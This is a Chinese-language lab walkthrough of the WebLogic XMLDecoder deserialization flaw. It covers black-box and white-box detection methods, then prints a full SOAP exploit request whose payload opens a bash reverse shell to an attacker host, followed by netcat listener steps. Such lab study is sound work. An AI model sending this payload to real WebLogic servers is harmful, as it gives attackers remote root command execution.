【weblogic】XML反序列化漏洞
序列化: 将程序中的一个对象(Object)的状态(如属性、值)转换成一种可以存储或传输的格式(如XML字符串、二进制流)的过程。
反序列化: 是序列化的逆过程。将存储或传输的格式(如XML字符串)还原成一个内存中的活的对象(Object)的过程。
XML反序列化: 特指使用XML格式(如SOAP、Web服务的常用协议)作为序列化数据格式的反序列化操作。
用Bp 向目标WebLogic服务器发送了一个精心构造的SOAP请求。这个请求的核心是利用WebLogic的WorkContext处理机制中的一个反序列化漏洞
第一段:黑盒测试方法
在黑盒测试场景下,检测XML反序列化漏洞主要依赖于对应用程序通信流量的分析。测试人员首先需要拦截并检查所有的HTTP请求,重点关注那些使用XML作为数据主体的接口,例如基于SOAP的WebService或配置失当的REST API。随后,通过有策略地修改XML结构,例如插入某些无害的测试标签,可以观察服务器的响应是否出现异常行为或暴露出有价值的错误信息(如Java类名、框架标识等)。为了进一步验证,可以提交公开的、无害的测试Payload,例如触发一个时间延迟或一个外部的DNS查询,通过观察应用程序是否存在预期的延迟或网络外联行为来判断漏洞是否存在。此外,借助Burp Suite的专项扩展(如Freddy)或其它自动化扫描工具,可以系统性地辅助完成这一检测过程。
第二段:白盒测试方法
      在白盒测试场景下,代码审计是发现XML反序列化漏洞最直接有效的方法。安全人员可以直接在源代码中搜索危险的反序列化函数关键字,例如Java中的 XMLDecoder.readObject()、XStream库的 fromXML()或 .NET框架中的 XmlSerializer.Deserialize()。定位到这些关键函数后,审计的核心在于逆向追踪其输入参数的数据来源,仔细检查这些参数是否直接来源于用户可控的输入(如HTTP请求参数、Cookie、Header),或者是否在经过了不充分的校验后间接传递到了反序列化函数中。这种从代码层面进行的溯源分析,能够精准地识别出潜在的安全风险点
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.142.133:7001    #centos的ip和端口,也就是启动靶场环境的ip和端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.142.162/8888 0>&1</string>   #ip是kali的,开了8888监听端口的ip
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>repeter上放这段代码,然后修改ip,在kali上开启监听

开启网络监听器(Netcat),等待来自目标服务器的连接。
BP按发送


       response第一行,服务器返回了500 Internal Server Error。表明恶意载荷已经被服务器处理,并且很可能已经触发了漏洞,导致服务器尝试执行注入的命令

说明已经成功入侵了服务器,并获得了最高权限(root),可以在上面执行任意命令(查看、修改、删除文件,安装软件,作为跳板攻击内网其他机器等)。
特别强调:安全人员授权测试
